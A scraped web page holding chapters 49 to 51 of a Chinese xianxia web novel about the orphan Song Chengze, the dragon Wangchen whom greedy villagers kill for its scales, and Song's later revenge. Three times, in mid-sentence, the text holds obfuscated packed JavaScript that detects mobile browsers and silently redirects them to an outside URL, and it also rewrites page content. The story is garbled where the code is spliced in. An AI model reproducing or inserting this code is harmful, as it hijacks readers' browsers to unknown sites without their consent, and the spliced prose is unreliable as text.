尚未等陆云笺回应,他忽然微微弯腰,捂住了她的双耳。 炫目的光忽然自九层塔之中炸开,火树银花只一瞬,却照彻夜幕,绚烂至极。无数碎片如同星星点点的焰火砸在脚边,兀自闪着熠熠金光,代价就是动静太大了些,震得人耳边嗡鸣。 陆云笺怔愣片刻,揉了揉被巨大声响震得发疼的耳朵:“……你这捂得也不管用啊。” 49. 故友逢 待到陆裴二人回到溟海村,已是半夜三更。 溟海村村民早就死的死、散的散,留下来的多是想走也走不了的,往往要么疾病缠身,要么行将就木,因此溟海村总是冷清得过了头,甚至有些许久无人烟的荒凉。 因而大半夜的在村口看见一个脏兮兮的小孩儿时,两人都有些意外。 陆云笺记得这个孩子,他父母走得早,留下祖孙俩相依为命,老人家年纪大了有些神智不清,好容易清醒过来,求着季衡他们带孩子出去寻外地的亲戚,小孩却不肯,说要留下来陪祖母。 可他向来都只乖乖待在屋内,怎么今日突然跑出来了?还在大半夜的时候跑出来? 陆云笺走上前,轻轻揉了揉他的脑袋:“这么晚了,出来做什么呢?” 小孩紧紧捏着手中一样事物,抬起通红的眼:“祖母走了。” 陆云笺一怔。 “我……我本来想把祖母拖到林子里去……但是一个白衣服的哥哥拦住我,给了我这个。”小孩摊开手,现出一只小小的布袋,里头是些许碎银,“他说他只有这些钱了,要我再四处凑凑,给祖母打一副棺材,然后离开这里。” 原以为外地的亲戚多少对这孩子有些照拂,不想父母祖母走后,他便真成了孤苦伶仃一人,再无帮衬。 原本父母在时,尚且过得下去,这么些年祖孙二人赚不了什么钱,如今老人走了,竟也只能草席子一卷,再往林子里一拖一埋,如此了结一生。 可一副棺材,这些碎银,怎么可能够? 陆云笺于心不忍,所幸她一向习惯多带些钱在身上,以备不时之需,此时从身上搜出来三个鼓鼓囊囊的钱袋,尽数放在他手上:“加上这些。”说着怕小孩拒绝,忙捏捏他的脸,换了话题,“给你钱袋的那个哥哥呢?” 小孩抬眼望她,指了一个方向。 溟海。 二人挑了条近路,自树林中穿行而过,小心避开了林中坟墓,行至尽头时,前方草木忽然簌簌而动,人影一闪,紧接着贺江年的声音响了起来:“云笺,裴世,你们可算是回来了!” 陆云笺原本在坟地里走就提心吊胆,此时更是被吓丢了魂:“哇啊!!贺江年!你怎么神出鬼没啊!” 贺江年挠头道:“我们去同渊阁没找见你们,看见同渊阁出了事,又怕溟海村这边出什么问题,刚刚又回来,你们看,溟海那边,果然有人在搞什么阵法。” “我们疏散留在同渊阁的人费了好些时间,可能是刚好错过了。”陆云笺抚着胸口道,“季衡哥呢?” 季瑶道:“兄长有急事,带繁洲回了镜阳宗。眼下同渊先生身死,同渊阁被毁,云间世与镜阳宗必要作出反应,一时半会儿应当是回不来了。” 陆云笺有些心虚地转过头:“其实吧,我觉得这个同渊先生和黑龙幻境什么的,似乎和我们之前想的不太一样。” 贺江年疑道:“这怎么说?你们在同渊阁发现了什么?” 正说着,几人走到树林边缘,贺江年看见海边景象的一瞬间,顿时瞪大了双眼:“那人在做什么?!” 陆云笺朝他指的方向望去,皎皎寒月与浩浩溟海之间,唯有一个单薄身影。宋承泽跪坐在溟海边的巨大骨架前,白衣委地,双手垂于身侧,手腕处冒出汩汩鲜血。 他的面容向来寡淡,身形也单薄,此时却有些“浓墨重彩”,污脏的血块大片大片地凝结在他的衣服与面颊上,鲜红的暗红的紫黑的,层层叠叠,染得原本素白的衣裳艳如天边晚霞。 而自他手腕处流出的鲜血浸入地面,依稀汇成一个阵法图案,似转生路上的彼岸花,无端诡谲妖艳。以血祭阵,可使阵法的效力增强数倍,而以血绘阵,便来得比任何灵力绘制的阵法都要更为强悍。 引魂之阵。 上古妖魔横行,照灵神鸟出世,引导亡魂转生。三百二十年前,魔王发动灭世灾劫,云间世第三代掌门陆成蔺创下照灵阵,召唤照灵鸟残魂,那是为亡者照亮往生之路的最强阵法。 如今照灵阵早已失传,而引魂阵是参世仙人参考照灵阵研制出来的阵法,意在引导亡魂去往轮回之路。只是引魂阵诡谲复杂,而参世仙人未及将引魂阵传世便仙逝,因此知晓引魂阵如何绘制的修士不过寥寥,又常因各种缺漏而无法发挥效用。 裴世缓缓走到他身前,道:“你要为妄尘前辈引魂?” 宋承泽低垂着头,听见这么一句,似乎十分乏力,许久之后才缓缓抬起头,眸色都有些混沌:“有人告诉我,它的魂魄还在世上,没有转生。” “谁告诉你?是三番五次救你,传你设置幻境、操纵黑龙杀人之术的人?” 或许是因为将死之人其言也善,宋承泽从来不曾言起这些事,此时却也再无隐瞒: “是。我不认得他,他一直穿着斗篷,从头到脚都遮得很严实,我问他为什么要帮我,他说他是妄尘的一位故人。 “我说我没有灵力,不会法术,他说他有办法让我不费灵力便能设置幻境,幻境之中便是我的法力场,想杀什么人,都要容易得多。 “他也帮我掩去了气息,亡魂难以追踪到我,即便那些人心中有恨有怨,也再阻不了我。” 静默许久,裴世忽然道:“倘若妄尘前辈不愿转世,是因为他有一不放心之人还在世上呢?” 宋承泽蓦地抬起头。万千情绪潮水般汹涌而来,一寸寸填补满他平淡得堪称空白的脸庞,甚至一度有些扭曲。 裴世不再多言,只翻手拿出一方锦盒。妄尘的魂魄在世上徘徊多年,已经十分虚弱,靠着这一方灵气丰沛的锦盒才能维持形态。 这锦盒先前一直由季衡保管,前往同渊阁之前担心出什么意外,便交给了季瑶,方才裴世向季瑶要来这锦盒,只觉锦盒之内有些躁动不安,应当是引魂阵起了效用。 宋承泽哑然半晌,最终还是又无力地坐了回去,哑声道:“我无颜再见它了。” 裴世没有给他拒绝的机会。锦盒一开,妄尘的魂魄由丝丝缕缕的轻烟薄雾逐渐化出形态,长身巨爪,每一片龙鳞都熠熠闪光,周身灵光笼罩,极尽威严。 宋承泽仰头望着巨大无朋的神龙,任由脸上凝结的血污被冲刷出道道沟壑,眼泪流进伤口,钻得生疼。 不知相隔了多少个肝肠寸断的日夜,他终于再次恢复尚且可以称之为“鲜活”的神色。 “大黑龙……” 十年了。 十年前,分明还一个是威风凛凛的神龙,一个是天真无邪的孩童。为何十年光阴轮转,一个成了时日无多的孤魂,一个成了满手鲜血的罪人。 十年前,宋承泽正好八岁。 溟海海妖兴风作浪,封锁了溟海村,逼迫村民定期供奉八岁孩童,助它重修肉身。 宋承泽的父母一年前在一次妖魔作乱之中去世,他一个人自虎口狼牙间逃生,只能以乞讨为生,他的父亲是溟海村人,母亲则是外地人,那时祖父希望他父亲找个好些的姑娘,他爹便找上了他娘,将人带来了溟海村。 他的亲生父亲早已去世,而那时他也已有五岁,她的母亲带着他来到溟海村,父亲一家都很不高兴,说若是父亲敢娶母亲,就要断绝关系。 自那之后,他们一家三口便独立出来,挑了溟海村一处偏僻之处盖了屋子,与祖父家不再往来,宋承泽也没有改随父姓,仍是跟着母亲姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146403|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。于是溟海村人与他们一家都老死不相往来,直到他的父母被妖邪所害,也无人前来过问。 村子本也不大,适龄孩童更是少,就算有,大家自然也舍不得自家孩子,总是盼望着熬过八岁这个坎,以后十八二十八三十八,便都无恙了。 于是毫无意外地,宋承泽无父无母无亲眷,终有一日还是被供奉给了海妖。 不知是海妖突然间大发慈悲,还是对贡品有所不满,前面数月被供奉给海妖的几个孩子都被原模原样地退了回来。被退回来的孩子自然不能再送过去,村人们心存侥幸又心有余悸,还是照旧保持着供奉的规矩。 供奉海妖的仪式常在夜间举行,仪式虽简,规矩却乱不得。 宋承泽被缚住手脚、遮住双眼,身后绑上巨石,由几个青壮村民抬到溟海边。双眼被遮,自然是视物不得,耳虽能听,却只知四周一片寂静,连草木与蚊虫都悄无声息。 过了一会儿,村民们开始祈求祷告,乱七八糟,不知道说的是什么。 平日里的热闹喧嚣都不见了,可也不是寂静夜里的平静安宁,多了些蚊虫般的低声嗡鸣,嘈杂而混乱,恭敬而怨毒,虔诚而冰冷。 而宋承泽躺在溟海边,只知道海水扑面而来,打得浑身湿透,是腥咸的,冰冷的,绝望的。他来不及细细品味这感觉多久,村民们按照惯例结束了供奉仪式,便将他投入海中。 巨石带着他飞速沉底,什么腥咸冰冷都不再能感受到。 他知道村民们都急急忙忙地回家去了。 他知道自己要死了。 然而下一刻,一股巨大到可怖的力量将他托了起来,预想中的或撕碎或吞食或啃咬都没有发生,他只被那道力量托着,安安稳稳地送回了海边。绑在身后的巨石、捆住手脚的绳索、蒙住双眼的布巾,都刹那间消失不见。 宋承泽耳边尚在嗡鸣,他却顾不得这许多,眼睛一见光,便立刻去看海上。 月光之下,总算让他捕捉到了那抹即将消失的黑影。与传说中的海妖不同,不是什么约莫八岁的女孩,不是什么形态不定的黑雾,更不是什么吃人不眨眼的妖怪。 宋承泽很诚实地发出惊叹:“哇啊!!大大大黑龙!” 妄尘随参世仙人将溟海海妖镇压后,便一直留在溟海,数月来送回了好几个被供奉来的孩子,被这么抓个正着,却还是第一遭。虽是被看见了,但妄尘掀起一片小小浪花扑了宋承泽满脸,让他一时视物不能,转身就要再回到海中。 宋承泽却只被浪花迷了一瞬眼睛,一瞬过后,便又直直盯着海上,甚至还不知死活地朝着溟海走了几步,边走边喊:“大黑龙!大黑龙我看见你了,你不要走啊!” 妄尘有心把他吓回去,于是显了形态,将头垂下,金黄瞳眸映出宋承泽的影子。 宋承泽果然被吓得退了几步。不过他边退边说:“大黑龙,你是这海里的龙王吗?你救了我吗?你是神仙吧?” 妄尘犹豫了很久,还是开口了:“此处危险,速速回家去。” 宋承泽看着它的眼睛很亮:“哇,你还会说话啊,真的是神仙!好厉害!” 妄尘只说:“速速回家。” 宋承泽总算有些蔫了:“我没家。” 妄尘道:“那你住在何处?” 宋承泽想了想,说:“不知道。一般白天就到处走,晚上就睡街上。茅草到处都有。” 妄尘一时无言以对。 不过宋承泽看起来并无半点悲伤,相反,他似乎因为遇见了“大黑龙”而非常高兴,像个傻子一般笑着:“大黑龙,我、我以后晚上可以来找你玩吗?和神龙做好朋友,大家肯定都会很羡慕我!” 50. 妄红尘(1) 旁人见了如此庞大威风的神龙,总要敬畏惧怕,可宋承泽却是个傻的,又是个自来熟,知道神龙心善,先前的一阵惊吓过后,竟还提些诸如“和神龙做好朋友”之类蹬鼻子上脸的请求。 妄尘有些无奈,也生出几分难得的无措,只道:“今日之事不可外泄,无事也不要常来此处。” 宋承泽的兴奋不减半分:“那我不外泄,我就偷偷、偷偷地来找你。这叫什么……给自己一个盼头?如果来找大黑龙,我以后晚上就有事可做啦。” 宋承泽看起来的确很无聊,因为他甚至带了些茅草铺在溟海边的树林里,也不管墓地阴森、蚊虫叮咬,无论白天黑夜,只要醒着,就坚持不懈地蹲守妄尘。 日复一日,日日希望落空,宋承泽也并无气馁,他仿佛没别的事想做,也没别的事可做,等待神龙现身就是他唯一的盼头。 许是神龙仁善,心生不忍,又或许是溟海茫茫、黑夜漫漫,也让神龙生出了几分厌倦,某个白日在岸边现了身,尚未隐去,便又被宋承泽抓了个正着,连“要和神龙做朋友”这种荒唐的请求都没来得及拒绝。 自海妖封锁溟海村后,溟海里能打到的鱼就比往常少了大半,除了必要出海的时候,村人们也不敢随意靠近溟海,因此溟海边总是冷冷清清、不见人影,即便现在溟海又恢复了正常,封锁也不再,但村人们总还是对溟海与村口避而远之。 宋承泽不愿回村子里,即便是不得已为了吃的回去,也是偷偷摸摸地,不希望村人发现。 妄尘便经常提醒他:“不可行偷窃之事。” 宋承泽回答得很大方,尽管有些许心虚:“没偷,是从阿黄那里讨的。”阿黄是村里的狗。 妄尘没说话,宋承泽唯恐它继续说这事,忙转移话题道:“大黑龙,你是不是希望他们不要再送小孩子过来了?如果是这样的话,你直接现身告诉他们不行吗?” 妄尘果然没再继续追问宋承泽那点可怜的口粮,而是道:“贸然现身,怕是会引起新一轮恐慌。吾曾托梦给村中百姓,叫他们不要再行供奉,奈何海妖虽被镇压,造成的影响却难以消除。” “这样的话,”宋承泽悄悄往嘴里塞了一口刚从阿黄那里智取得来的饭,“虽然我一点也不想看见他们,更不想跟他们说话,但是我可以去跟村长他们说一下这件事。他们好像又从外面抓来了几个小孩儿,我不知道关在哪儿,不过好像今晚又到供奉的时候了,到时候趁他们不在,我去找找。” 宋承泽原本想去找村长,奈何村长不在,蹲守在他家门口半天,只见着一个人影。这人宋承泽还算有些熟悉,是自他们一家三口从祖父家搬出来后,村中为数不多还愿意和父亲说话的。 于是宋承泽从角落里弹起来,招手道:“哎!仁哥!” “仁哥”正是村长儿子,闻声回过头,瞧见宋承泽,猛地往后弹了一步:“你是人是鬼?!” 宋承泽“嘿嘿”笑了两声,挠头道:“是人,是人。” 郝仁搓掉一手鸡皮疙瘩,狐疑地眯起眼:“那你小子这些天哪去了,怎么没见着人?” “这不是出去转了转嘛,刚回。”宋承泽知道他也就随口一问,不会特意追究,扯了几句便切入正题,“之前不是那个海妖作乱害人吗,试了各种法子也没把它赶走,但是现在那个海妖已经被镇压了,不用再供奉了。” 郝仁蹙眉道:“别胡说八道!” 宋承泽也早料到有这么一出,忙解释道:“我说真的!前些日子是不是来了个白衣道人?就是他把海妖镇压的,这些日子供上去的小孩儿不是都没事吗,海妖真的死了!” 郝仁道:“那你说说,你是怎么回来的?” 宋承泽早准备好了一套说辞:“我是被海浪冲上来的,具体怎么样我也不知道。但要是海妖还在,我,还有之前那些人,怎么可能活着回来?” 见郝仁有几分迟疑,宋承泽便端出一副假笑,道:“别人不信我,我不跟他们说。但是仁哥你和村长是文化人,肯定知道我说的有理没理吧?要不信,今晚上就试试不去供奉,我保证,”他拍拍胸脯,“我保证什么事都没有。” 郝仁嗤笑道:“保证?你拿什么保证?今晚供不供奉我自有判断,要你说什么?” “我就是提个建议。”宋承泽悻悻道,“我说的都是真的,不信你自己试试好了。”他说着也不想再多作纠缠,转身欲走。 “等等,”郝仁似乎有几分动摇了,“你真没见着海妖?” 宋承泽其实有些惊异于他能心平气和、毫无羞愧之意地说出这句话,但面上还是很平静地回答:“真没,要是见着了,我还能站这儿吗?”说着不满地嘀咕道,“也省得去外面抓那些小孩子了。” 郝仁没听清:“你说什么?” 宋承泽道:“我说,试试又不亏,省得到处找各种法子了。” 郝仁明显是有些犹豫动摇的,但不知是不是因为实在对海妖恐惧至极,夜里村人们仍保持惯例,前往溟海边举行供奉仪式。 不过宋承泽觉得,他已经把情况跟郝仁说了,今晚一试自见分晓,因此他并不非常在意今晚供奉仪式是不是照常进行,相反,绝大部分人都去参与供奉仪式,反倒给他提供了便利。 溟海村的月亮向来很亮,村人们晚上歇得也早,因此并不常点灯。宋承泽就着皎皎月色,偷摸闪身至一间间屋子前。 溟海村人本就不多,若要一直供奉本村的八岁孩童自然是不够的。溟海村被封锁,村里人出不去,外头的人却进得来,因此溟海村与外头通了信,要外头的人定期抓几个八岁小孩送过来。 不知道那些孩子被关在何处,宋承泽只能趁着人不在,一间屋子一间屋子地找。 供奉仪式已近尾声。 村人们将孩子投入溟海后,照例都如蒙大赦、急匆匆地各回各家,皎皎月色下,汹涌波涛中,唯有妄尘再度现身,将昏迷过去的孩子送回岸上。 躲在暗处的郝仁不自主地倒退几步。先前妄尘给他托过梦,是言海妖已被镇压,不必再行供奉,那时他自然是不信的,也不敢信。 只是……不想竟当真有神龙。 待到妄尘的身形隐去,郝仁自林中跃出,三两步奔到被送回岸上的孩子身边。虽是昏迷,但一探鼻息,的确并无大碍。 郝仁心情复杂,正欲把昏迷的孩子拎起来,却瞥见海边一样事物,约摸手掌大小,映着海上粼粼波光,其上月华流转,竟似美玉无瑕。任谁来看,都能一眼看出这是一样不可多得的宝物。 郝仁是个精明人,自然知道下一步要做什么,第二日与外头的人接应时,便托人将那枚黑色鳞片想办法卖出去。 原本以为,这样一件好东西,少说应该也能卖上百银,然而第二日再与外头的人接应时,他才知道,这样一枚鳞片,竟轻轻松松卖出了十金。 那是郝仁这辈子第一次见到金子。 他知道,溟海村民以捕鱼为生,捕鱼换得的钱,也够在村中安安稳稳过一辈子,而村中任何一个人,莫说是安稳清闲一辈子,便是奔波劳累一辈子,也无甚可能赚得十金。 十金……原来只是一枚鳞片。一枚巴掌大的鳞片。 郝仁全身都有些颤抖,眼中冒出兴奋的精光,但他捧着那金子看了许久,最后只是把它往接应人的手中一放:“这些权当多日来的感谢。” 接应人笑道:“您是明白人。” 郝仁的确是明白人。为了封口和保命损失十金不要紧,他心中有一计,此计若成,百金千金,都不过囊中之物。 宋承泽不知郝仁究竟有没有打消顾虑,近日并不是供奉的日子,溟海村只和以往一样,也没人出村,只定期由村长带些人去溟海村边缘和外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157596|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的人接应。 宋承泽很无语:“我简直不知道他们在想什么,海妖死了,这不是显而易见吗?为什么不敢出去?为什么还保持供奉?” 妄尘道:“海妖之事,所留阴影实在过重。若要重归当初,的确还需些时日。” 宋承泽不愿再说此事,便道:“说起来……大黑龙,等溟海村恢复正常了,你会离开这里,去别的地方看看吗?” 妄尘摇头道:“海妖虽死,魂魄仍在。它的魂魄虽已碎裂,但也不是没有重新出世的可能,吾担心它再度出世作乱,仍需镇守此处。” 宋承泽有些不平:“那你就永远都守在这里吗?别的什么地方都不去?那也太无聊了!” 妄尘道:“从前吾跟随仙人云游,已去过许多地方。如今镇守此地,护佑此地百姓,既是吾之归所,亦是仙人心愿。” “仙人……”宋承泽抬头望月,眼前浮现出一个白衣翩翩、飘然立于仙剑之上的身影,有些神往,“如果我也会仙法就好了,我就把那个该死的海妖打个魂飞魄散,然后大黑龙你就不用守在这里了,还有那些被关起来的小孩子,根本不用偷偷摸摸、一间一间屋子地找,我一施法就能感应……还感应什么啊!我一挥手,不管他们被关在哪儿,马上都被安安稳稳地送回家了!” 妄尘道:“日后若有机缘,学些法术救人自然是好。只是此道凶险,还是考虑清楚为好。” 宋承泽便笑了:“我只是说说而已啦,那些什么道士啦仙门啦怎么可能会收我?而且我也不想跟他们学,之前那些来抓海妖的道士,哪个不是被打得屁滚尿流?一看就是功夫不到家。” 正说着,忽然瞥见不远处行来一串黑影,不免有些疑惑:“今天又到供奉的日子了吗?他们怎么还来?不是知道海妖已经死了吗?” 妄尘似乎也有些无奈,只摇了摇头,没说话。 宋承泽道:“那大黑龙你先藏起来,我去把还被关着的那几个小孩都放走。”他说着便奔向林中,片刻不见了踪影。 供奉仪式照常进行,仪式终了,孩童被投入溟海,村人们也都离去,过了一会儿,妄尘仍是将那孩子送回到岸边。 可这次,它没有急着把身形隐去。 应当也是没必要隐了。 四下里几十双眼睛,都在黑夜里灼灼闪光,死死锁住了它。 不知是谁一声大喝,随后,向来漆黑无光的林中忽然亮起无数火光,一双双闪着精光的眼睛犹如自黑暗中蹿出的蝙蝠,啸叫着朝它扑杀而来。 妄尘转动金黄瞳眸,定定望着四下里冲杀而来的村民,没打算躲,更没打算逃,只是原本瞳中的熠熠光芒倏忽都尽数熄灭了,倒映着一张张贪婪扭曲的脸。 这是一场逃不得、躲不掉的劫难。 无边黑夜忽地变作一张巨大的网,蒙头罩住妄尘,其上金丝灼灼,贴满了各式符咒,正是标准的捕妖网。捕鱼要用渔网,捕更大的鱼,那换一张更大的网就好了,没有什么分别。 宋承泽瞧见溟海边火光闪烁,心中疑惑,将被关在村中各处的孩子都放出去后,便急忙奔向溟海边。 溟海边已经许久没有这样热闹了。嘈杂人声起伏在溟海边,火光驱散黑暗与冷,映得海边一片暖色,无数黑影在海边舞动,扭曲癫狂如妖魔。 “大黑龙!!!” 宋承泽大步朝前奔去,被碎石绊倒,一路滚到海边。阵阵腥气扑面而来,不是熟悉的海腥味,都是…… 血。都是血。到处都是血…… “滚啊!!滚开!!!” 宋承泽猛地扑上前,用力将围住妄尘的人拨开,然而他年岁尚小,力量不支,被他人一手便挥开了,尖锐碎石划破了他的腿,鲜血飞溅,与萦绕在他鼻尖的浓重血腥气交织融合。 他猛地抓起一块碎石,朝着前面那人的脖颈狠狠扎去! 51. 妄红尘(2) 那人吃痛,总算从海边退后几步,一手捂着血流不止的脖颈,另一手猛地抓过宋承泽的头发,将他向石滩砸去! 宋承泽只拖住了他一瞬,此时只能感受到有尖锐石子扎入自己后脑,应当是很疼的,可他的神智已经有些模糊了,只知道那人又折返回去,一分一秒都舍不得浪费,明明脖颈血流如注,双手却只会疯狂攫取。 宋承泽强撑着没有失去神智,下意识唤着:“大黑龙……大黑龙……”他缓缓朝着海边那巨大黑影爬去,在石滩上拖出一道浓重血痕。 无人注意他,待到宴席散去,众人餍足意满地离开,径直从他身上踩过去,竟也没有发现不对劲。这场宴席盛大而热闹,所有人都陶醉其中,不知今夕何夕,不知此身何人,不知所行何事。 宋承泽终于爬到了海边,妄尘的金黄瞳眸再度映出他的影子,却不再如明镜般透亮,已经有些浑浊涣散。 溟海之上的月亮总是格外亮,透过层云,拨开黑暗,清晰地照亮了妄尘。捕妖网的重压之下,妄尘只蜷成一团,再没了往日的凛凛威风,捕妖网间的符纸早已被鲜血浸透,再无效力,反而像是被揉皱的布巾,徒劳地遮住妄尘的伤。 宋承泽抬手去碰妄尘伏在岸边的爪,触碰到一片黏腻,忙缩回手,唤道:“……大黑龙?” 可妄尘再无力说话,闻言也不过是,轻轻抬爪,将宋承泽往岸上推。 宋承泽不动。昔日雷霆之威的神龙,如今竟推不动一个重伤的小屁孩。 岸上喧闹依旧,与往日不同的是,今日灯火通明,人声喧嚷,不知说的是些什么。或许会有餍足,或许会有兴奋,也或许会有为了半片一片龙鳞而起的争执。 他们在庆贺自己以凡人之力杀死了神龙吗?他们在庆贺凭着手中这些“宝物”,终于可以走出溟海村,逆天改命,扬眉吐气吗? 可妄尘甚至都不用施法,它只需轻轻一抬爪,万顷风浪顷刻便能淹没溟海村,汪洋之间,绝不会有人侥幸逃生。 宋承泽声嘶力竭地问:“大黑龙,你为什么不杀了他们?为什么不杀了他们啊!!” 妄尘轻轻闭上眼,没再回应他。 宋承泽忽然站了起来,倒退几步,月光打在他手上,照出一片鲜红,如同海上的颜色,幽蓝之上,浮着一层薄雾般的红。 他顾不得脑后与腿上的伤,竭力冲向灯火通明之处,将一切能碰倒的火与光,尽数扑在地上。烈火刹那间便吞没了一间木屋,有人惨叫起来,火光之中,又恢复了先前那样癫狂的状态,火光映照着宋承泽惨白的脸,灼烧着扭曲的啸叫着的黑影。 宋承泽再次恢复神智时,已经不知今夕何夕,也不知村中还有几人活着,亦或者早已全部化作火中亡魂。 微微一动,便听身下木板传来“咯吱咯吱”的声音,潮湿浓厚的木柴与灰尘气味压得人呼吸困难,鼻尖萦绕的血腥之气仍未散去,满身血污早已结垢,唯有一些撕裂的伤口还兀自淌着鲜血,浸湿了木板。 宋承泽原想起身,奈何神智恢复了,身上的痛楚便也愈发清晰,剧痛之下,竟一时动弹不得。 他听见木门“吱呀”一声响,眼前停下一双靴子,他的眼睛仍有些模糊,看不清前方事物,只知道上头绣的金线在透进门来的阳光之下熠熠闪光,有些晃眼。 宋承泽抬不起头去看那人样貌,但听见那人说:“你把那些孩子放哪儿去了?” 宋承泽想说话,但一时急火攻心,鲜血竟比话语先一步吐了出来。 郝仁忙往后退了一步,仔细查看了脚上的靴子,所幸仍干净如初,但仍觉晦气:“下贱东西,倒不如前几天就把你打死算了。” 宋承泽咬着一口血:“为什么?” 郝仁一愣:“什么为什么?”他随即反应过来,微微一笑,抬手轻轻拂了拂衣袖,袖上金丝在光下缓缓浮动,如海上粼粼波光。 他说:“人各有命,走运了,钱自然就来了。有的人该发财,有的人该死,就是这样。很难懂吗?”郝仁说完便一拂袖,转身朝门外走去。 宋承泽咬着牙,血沫不断自齿间涌出,手指紧紧抠着木板,关节用力到发白,他一字一顿地说道:“你知道神龙为什么是神龙吗?” 郝仁侧目看他。 宋承泽道:“神龙之所以是神龙,是因为它有凡人不可及的神力。便是身死,化作冤魂,也能把你们一个一个都找出来,将你们用在它身上的每一分,都尽数还给你们。” 郝仁没有说话,径自向门外走去。点燃的木柴落在地上,宋承泽的脸顷刻便被大火吞没,唯有宋承泽被彻彻底底烧成灰烬,郝仁的心才能安几分。 村人们都当宋承泽死了,可他的话却很管用。往后十年,溟海村众人,无一不活在极度恐惧之中。 溟海村人擅演木偶戏,不知从何处得来消息,说木偶戏演对了便能通灵,想要镇压亡魂,便要演上几出除祟镇邪的戏。于是一出“除妖龙”,木偶最为精致逼真,演了十年,也最为娴熟灵动。 也有许多村民,即便得了不可多得的宝物,也不敢过于招摇,仍然待在村中,一辈子困于牢笼。 而同渊先生,明明只是一个商人,身边随从却都是道法大能,同渊阁上上下下、里里外外,皆是阵法结界禁制,层层叠叠,密不透风。 一片龙鳞即值十金,他却放弃了几千几万金,留下部分龙鳞,制成玉佩,佩在身上,以求辟邪消灾;又大费周章铸造一柄龙鳞宝剑,镇于九层塔塔顶,以求怨灵不生。 十年,富贵荣华加身,恐慌惊惧更甚。而如今,溟海村人要么被海妖吞噬了魂魄,要么被宋承泽困在黑龙幻境里,被他幻化出的黑龙啃咬至死。 也算是个了结。 裴世为宋承泽与妄尘升起一道金色结界,里头的声音透不出来,外头的人也瞧不进去,几人立在结界边,谁也没有说话,已经沉默许久。 裴世闭目靠着树,似乎是睡了过去,不知过了多久,忽然开口道:“陆云笺,待会儿我负荆请罪,你能给我求求情吗?” 陆云笺正盯着结界出神,闻言回过神,正要说话,却见裴世直起身,缓缓走到结界前方站定。 陆云笺顺着他的目光去看,见空中一个熟悉的身影御剑而来,径直停在他们对面。 陆明周身着他一贯穿的月白衣袍,素来的疲惫与温和此时染上了几分肃然,他飘然落地,并未将剑收起,而是持剑在手,开门见山道:“裴世,同渊阁之事,你可有参与?” 裴世毫无掩藏之意:“有。” 陆明周道:“后面结界关的是什么?是妖龙,还是借幻境杀人的凶手?” 裴世淡淡地道:“是云间世要我捉拿的人。” 陆明周道:“既如此,云间世理当将其押回审问。” 陆云笺从未见过陆明周如此严肃的模样,从前她虽然不知陆明周与裴世的关系到底如何,却也从不曾见这般剑拔弩张的态势,她只犹豫了一瞬,便闪身挡在裴世身前:“哥,杀人者并非黑龙,黑龙幻境与同渊阁被毁之事也还有待商榷。” 裴世一怔。 陆云笺说得有模有样,态度也很坚决,他看着她,平生第一次在恍惚中生出一个可笑的念头—— 倘若陆云笺恢复记忆,可还会像如今这般护着他吗? 未及细思便觉荒唐,裴世垂了眸,笑着轻轻摇了摇头,把陆云笺往身后扯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162917|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>……没扯动。 裴世唇边笑意更深,手上力道重了几分,将陆云笺扯到身旁,对陆明周道:“此人几次三番逃脱,此番得以擒住,需以结界压制。若是此时撤去结界,只怕他又会逃之夭夭。” 陆明周却道:“既已确定凶手,我们几人在此,他定然是跑不了的。”他说着,竟将手中长剑抬起几分,“还是说,你想违令,或是有包庇之心?” 看来陆明周赶来溟海,对同渊阁之事果真不是一无所知。 裴世倒是并无意外,看着陆明周抬剑,脸上也无波无澜。 陆云笺却有些意外,又有些不安,于是再度往前站了一步:“此事我也……”然而才开了个头,便又被裴世拉了回去。 裴世道:“此事待云间世查明原委,若要问罪,我便甘愿受罚。”他还要再说些什么,后方结界却忽地黯淡下去,一片单薄身影缓缓行来,在月光下恍若透明的魂灵。 宋承泽腕上割出的伤口已经被包扎好,血也已经止住,而他身上其他各处的血污早已结了垢,成了飘摇白衣上的累赘。 陆明周蹙眉道:“是你?” 宋承泽道:“设幻境杀人的是我,郝仁为我所杀,同渊阁亦为我所毁。我这般罪大恶极的人,却几次三番从云间世手中逃走,云间世是否也有排查不力之责?” 这话不仅将矛头引向了他,反倒还将了云间世一军,可陆明周并没有任何恼羞成怒的意思,虽仍然紧锁眉头,说的却是:“此事原委,云间世自会调查清楚,其中若有冤情,云间世查明之后,自会昭告天下。” 宋承泽微微一笑,不再说话。 如今昭不昭告天下,讨不讨还公道,孰对孰错、孰是孰非,都已经不再重要了。他并不知道,也并不在乎陆明周说的话有几分真心、几分敷衍。 从前上至几大仙门,下到散修道人,他一一跪过拜过求过,也曾期望有个人或者有个门派对他说:“我会查明真相,昭告天下,还你一个公道”。 